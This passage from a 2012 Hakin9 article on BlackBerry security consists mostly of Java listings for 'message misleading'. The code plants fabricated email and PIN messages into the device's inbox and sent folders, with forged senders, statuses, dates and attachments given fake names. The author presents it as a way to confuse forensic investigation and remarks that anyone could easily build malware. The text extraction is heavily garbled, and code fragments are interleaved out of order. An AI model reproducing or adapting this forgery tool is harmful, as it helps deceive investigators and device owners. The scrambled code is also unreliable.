tf.setLabel(“enter fake pin”); private ButtonField checkiButton = null; private ButtonField checkoButton = null; tf.setText(“”); add(tf); private ButtonField checkpoButton = null; } private ButtonField checkiaButton = null; public void fieldChanged(Field field, int param) private ButtonField checkpiButton = null; TextField tf = null; public BlackBerryMessageMisleadingScreen() { setTitle(“BlackBerry Message Misleading”); TextField textfield = new TextField(); textfield.setLabel(“Mislead yourself via BlackBerry Technology”); add(textfield); checkiButton = new ButtonField(ButtonField. www.hakin9.org/en { if (field == checkoButton) { String res = “”; boolean odelivered = true;//false; DELIVERED “^_^”; //MESSAGE WILL BE String omessage = 75
  • 22. Mobile Security Listing 8b. MESSAGE MISLEADING length() > 0) //MESSAGE BODY Address oaddress = null; from fextfield try { alert(MisLeadSentPIN(tf. MESSAGE BUILDER getText())); } } catch (AddressException e) { length() > 0) res += from textfield MisLeadSentMessage(oaddress, omessage, odelivered); //EMAIL MESSAGE } MESSAGE BUIDLER } String res = “”; { //MESSAGE BODY “^_^”; try { = null; iaddress = new Address(“fake@ololo.com”, “trololo friend”); (AddressException e) e.getMessage(); } // { res += MESSAGE SENDER } 76 String res = “”; String imessage = //MESSAGE BODY Address iaddress try iaddress // } (AddressException e) e.getMessage(); } { res += res += MisLeadInbo xMessageAttach(iaddress, imessage); Dialog. else if (field == checkpoButton) { } catch //EMAIL MESSAGE alert(“Result for you :: “ + res); Dialog. //PIN “trololo friend”); res += BUILDER { = new Address(“fake@ololo.com”, MisLeadInboxMessage(iaddress, imessage); //GET SENDER PIN { } catch if (tf.getText(). else if (field == checkiaButton) String imessage = Address iaddress = SENDER ADDRESS } getText())); else if (field == checkiButton) null; //PIN alert(MisLeadInboxPIN(tf. Dialog.alert(“Result for you :: “ + res); “^_^”; Dialog. else if (field == checkpiButton) { res += e.getMessage(); } { { //SET A “trololo friend”); BUILDER //GET RECIPIENT PIN oaddress = new Address(“fake@ololo.com”, NEW RECIPIENT if (tf.getText(). BUIDLER //EMAIL MESSAGE Dialog.alert(“Result for you :: “ + res); } } 04/2012
  • 23. Listing 8c. MESSAGE MISLEADING message += e.getMessage(); msg.setSentDate(new Date(System. static String MisLeadSentMessage(Address oaddress, currentTimeMillis())); String message, boolean delivered) // ADD NEW TIME //BUILDER OF SENT EMAIL MESSAGE { sentfolder.appendMessage(msg); // ADD NEW EMAIL MESSAGE TO SENT FOLDER String error_message = “”; if (error_message.length() < 1) { error_ Store store = Session. getDefaultInstance().getStore(); Folder[] folders = store.list(Folder. SENT); // RETRIVE A SENT FOLDER Folder sentfolder = folders[0]; Message msg = new Message(sentfolder); //CREATE a NEW MESSAGE IN SENT FOLDER if (delivered) // CHECK DELIVERY STATUS { } msg.setStatus(Message.Status. TX_SENT, Message.Status.TX_SENT); else { msg.setStatus(Message.Status. msg.setFlag(Message.Flag. OPENED, true); // SET READ STATUS } Session session = null; try } session = Session. waitForDefaultSession(); catch (NoSuchServiceException e) { error_ message += e.getMessage(); } INBOX); //CREATE A NEW MESSAGE IN INBOX FOLDER try { msg.setContent(message); catch (NoSuchServiceException e) { error_ message += e.getMessage(); } msg.setSentDate(new Date()); // ADD NEW DATE catch (MessagingException e) { error_ message += e.getMessage(); Folder inbox = folders[0]; } try } try msg.setFrom(fromAddress); //ADD A SENDER msg.setStatus(Message.Status.RX_RECEIVED, Message.Status.RX_RECEIVED); //ADD A RECEIVED STATUS msg.setSentDate(new Date(System. currentTimeMillis())); msg.setContent(message); // ADD BODY catch (MessagingException e) { error_ www.hakin9.org/en String error_message = “”; final Message msg = new Message(inbox); // ADD SUBJECT TO EMAIL MESSAGES } ATTACHMENT // ADD RECIPIENT msg.setSubject(“subject”); { { // RETRIVE AN INBOX FOLDER message += e.getMessage(); } fromAddress, String message) //BUILDER OF RECEIVED EMAIL MESSAGE WITHOUT msg.addRecipient(Message. catch (MessagingException e) { error_ { static String MisLeadInboxMessage(Address Folder[] folders = store.list(Folder. RecipientType.TO, oaddress); } } Store store = session.getStore(); try { message = “no_error”; } return error_message; { TX_ERROR, Message.Status.TX_ERROR); } } //ADD DATE’n’TIME msg.setFlag(Message.Flag.REPLY_ALLOWED, true); msg.setInbound(true); msg.setSubject(“subject”); 77
  • 24. Mobile Security Listing 8d. MESSAGE MISLEADING //ADD A SUBJECT TO EMAIL MESSAGE inbox.appendMessage(msg); //ADD EMAIL MESSAGE TO THE INBOX FOLDER if (error_message.length() < 1) { error_message = “no_error”; } } } static String MisLeadInboxPIN(String FakePIN) //BUILDER OF RECEIVED PIN MESSAGE { String err = ““; String error_message = “”; return error_message; Store store = Session. getDefaultInstance().getStore(); Folder[] folders = store.list(Folder. static String MisLeadSentPIN(String FakePIN) INBOX); //BUILDER OF SENT PIN MESSAGE { return err; //RETRIEVE a PIN INBOX FOLDER Folder inboxfolder = folders[0]; String err = “”; Message msg = new Message(inboxfolder); String error_message = “”; //CREATE A PIN MESSAGE IN THE INBOX Store store = Session. FOLDER getDefaultInstance().getStore(); PINAddress recipients[] = new SENT); try Folder[] folders = store.list(Folder. //RETRIEVE a PIN SENT FOLDER PINAddress[1]; { Folder sentfolder = folders[0]; recipients[0]= new Message msg = new Message(sentfolder); PINAddress(FakePIN, “Robert”); //CREATE A PIN MESSAGE IN THE SENT FOLDER PINAddress recipients[] = new try } PINAddress[1]; { catch (Exception e) { PINAddress(FakePIN, “Robert”); NAME try RecipientType.TO, recipients); //ADD RECIPIENTS TO PIN STRUCTURE msg.setSubject(“SUBJ”); //ADD A SUBJECT e.getMessage(); } msg.setContent(“BODY”); //ADD A BODY msg.setStatus(Message.Status. msg.addRecipients(Message. RX_RECEIVED, Message.Status.RX_ RecipientType.TO, recipients); RECEIVED); //ADD RECIPIENTS TO PIN //ADD A RECEIVED STATUS STRUCTURE inboxfolder.appendMessage(msg); msg.setSubject(“SUBJ”); //ADD A SUBJECT } msg.setContent(“BODY”); //PUT MESSAGE INTO INBOX FOLDER catch (Exception e) //ADD A BODY e.getMessage(); msg.setStatus(Message.Status. TX_SENT, Message.Status.TX_SENT); } msg.addRecipients(Message. //ADD RECIPIENT BY PIN and catch (Exception e) { err += { { err += e.getMessage(); try recipients[0]= new } //ADD RECIPIENT BY PIN and NAME return err; { err += } //ADD A SENT STATUS } //PUT MESSAGE INTO SENT FOLDER static String MisLeadInboxMessageAttach(Address sentfolder.appendMessage(msg); } catch (Exception e) { err += e.getMessage(); } 78 fromAddress, String message) //BUILDER OF RECEIVED EMAIL MESSAGE WITH ATTACHMENT { 04/2012
  • 25. Listing 8e. MESSAGE MISLEADING try String error_message = “”; { Session session = null; try { getMIMEType(fullname1); //ADD ATTACHMENT session = Session. WITH CORRECT FILE TYPE waitForDefaultSession(); } catch (NoSuchServiceException e) } catch (Exception e) { error_ { error_ message += e.getMessage(); } Store store = session.getStore(); Folder[] folders = store.list(Folder. INBOX); // RETRIVE AN INBOX FOLDER } finally try msg.setContent(message); } catch (MessagingException e) { error_ message += e.getMessage(); } msg.setFrom(fromAddress); //ADD A SENDER name-$$”, data); multipart.addBodyPart(attach); data = readFile(fullname2); mtype = “”; try { //ADD A RECEIVED STATUS getMIMEType(fullname2); currentTimeMillis())); //ADD ATTACHMENT //ADD DATE’n’TIME WITH CORRECT FILE TYPE msg.setFlag(Message.Flag.REPLY_ALLOWED, } true); catch (Exception e) msg.setInbound(true); { msg.setSubject(“subject”); //ADD A SUBJECT TO EMAIL MESSAGE e.getMessage(); String fullname1 = “file:///SDCard/bin/ } String fullname2 = “file:///SDCard/bin/ { //CALL YOUR OWN READ METHOD TO GET ATTACHMENT DATA Multipart multipart = new Multipart(); SupportedAttachmentPart attach = null; String mtype = “”; { try www.hakin9.org/en error_message += } finally //SET PATH OF EXECUTION FILE data = readFile(fullname1); mtype = MIMETypeAssociations. msg.setSentDate(new Date(System. byte[] data = new byte[256]; try { Message.Status.RX_RECEIVED); BlackBerryKit_1.cod”; //ADD A FAKE ATTACHMENT NAME } msg.setStatus(Message.Status.RX_RECEIVED, BlackBerryKit_1.jad”; attach = new SupportedAttach mentPart(multipart, mtype, “file- final Message msg = new Message(inbox); //CREATE A NEW MESSAGE IN INBOX FOLDER message += e.getMessage(); } { Folder inbox = folders[0]; { mtype = MIMETypeAssociations. attach = new SupportedAttach mentPart(multipart, mtype, “filename-$$$”, data); } //ADD A FAKE ATTACHMENT NAME multipart.addBodyPart(attach); try { } msg.setContent(multipart); catch (MessagingException e) 79
  • 26. Mobile Security Listing 8f. MESSAGE MISLEADING { } data = IOUtilities. } error_message += streamToBytes(is); catch (IOException e) e.getMessage(); finally //ADD A FAKE ATTACHMENT { inbox.appendMessage(msg); try //PUT AN EMAIL MESSAGE WITH ATTACHMENT TO INBOX FOLDER { if (error_message.length() < 1) { } } error_message = “no_error”; is.close(); return error_message; if (null != fconn) close(); FileConnection fconn = null; } DataInputStream is = null; } is = fconn. the previous location, so it is a kind of timeline (Figure 21 and Listing 8). Conclusion These two articles describe how anyone could easily develop malware or a security application to manage { Dialog.alert(e.getMessage()); } return data; fconn = (FileConnection) Connector. openDataInputStream(); fconn. } catch (IOException e) try open(FullName, Connector.READ); } { byte[] data = null; { if (null != is) { public static byte[] readFile(String FullName) { { Dialog.alert(e. getMessage()); } } } with other vulnerabilities. These highlighted points are very actual because some of them take advantage of old security issues and concepts from DOS, UNIX and other OSs. Yury Chemerkin Figure 21. ScreenShot of BlackBerry Map 80 Graduated at Russian State University for the Humanities (http://rggu.com/) in 2010. At present, postgraduate at RSUH. Information Security Researcher since 2009 and currently works as mobile and social information security researcher in Moscow. Experienced in Reverse Engineering, Software Programming, Cyber & Mobile Security Researching, Documentation, and Security Writing as regular contributor. Now researching Cloud Security and Social Privacy. Contacts: I have a lot of social contacts, that’s way you’re able to choose the most suitable way for you. Regular blog: http://security-through-obscurity.blogspot.com Regular Email: yury.chemerkin@gmail.com Skype: yury.chemerkin Other my contacts (blogs, IM, social networks) you’ll find among http links and social icons before TimeLine section on Re.Vu: http://re.vu/yury.chemerkin 04/2012
  • 27. The last exploitation The last exploitation covers so-called message misleading discussed in one of my previous articles. I recall some ideas and present code that attempts to cover all entry points and can be easily adapted for testing. RIM API has ability to create PIN mail service. What are the goals you gain by implementing these ideas? Maybe you would like to build steganography, maybe you have to make a lot of fake message with fake interaction graphs to perplex forensic investigating or maybe something else – it is all up to you (Figure 22-Figure 25). Figure 22. Sent Email Message Figure 24. Pin-to-PIN Message with Error Status Figure 23. Received Email Message with attach Figure 25. Pin-to-PIN Message with Sent Status and e-mail with any possible parameters like their type as incoming, outgoing, received, sent, draft, etc. and their status (read, unread, error while sent, etc.). You may set your own date, list of recipients, subjects, body, attachments. Note that not one of these messages will synchronize with your real e- On the Net • http://forum.drweb.com/index.php?showtopic=302926 – New Trojan horse for Android spreads with Angry Birds Rio Unlock, Dr.Web • http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu.html, http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu2/ – Researching for DroidKungFu variants, Xuxian Jiang, Assistant Professor, Department of Computer Science, NC State University • http://blog.mylookout.com/blog/2011/01/07/geinimi-trojan-technical-analysis/ – Geinimi Trojan Technical Analysis, • http://www.informationweek.com/news/security/mobile/231001685 – Zitmo Banking Trojan • http://www.computerworld.com/s/article/9210764/New_bank_Trojan_employs_fresh_tricks_to_steal_account_data – OddJob bank trojan • http://www.elcomsoft.com/ebbe.html – Elcomsoft Blackberry Backup Explorer www.hakin9.org/en 81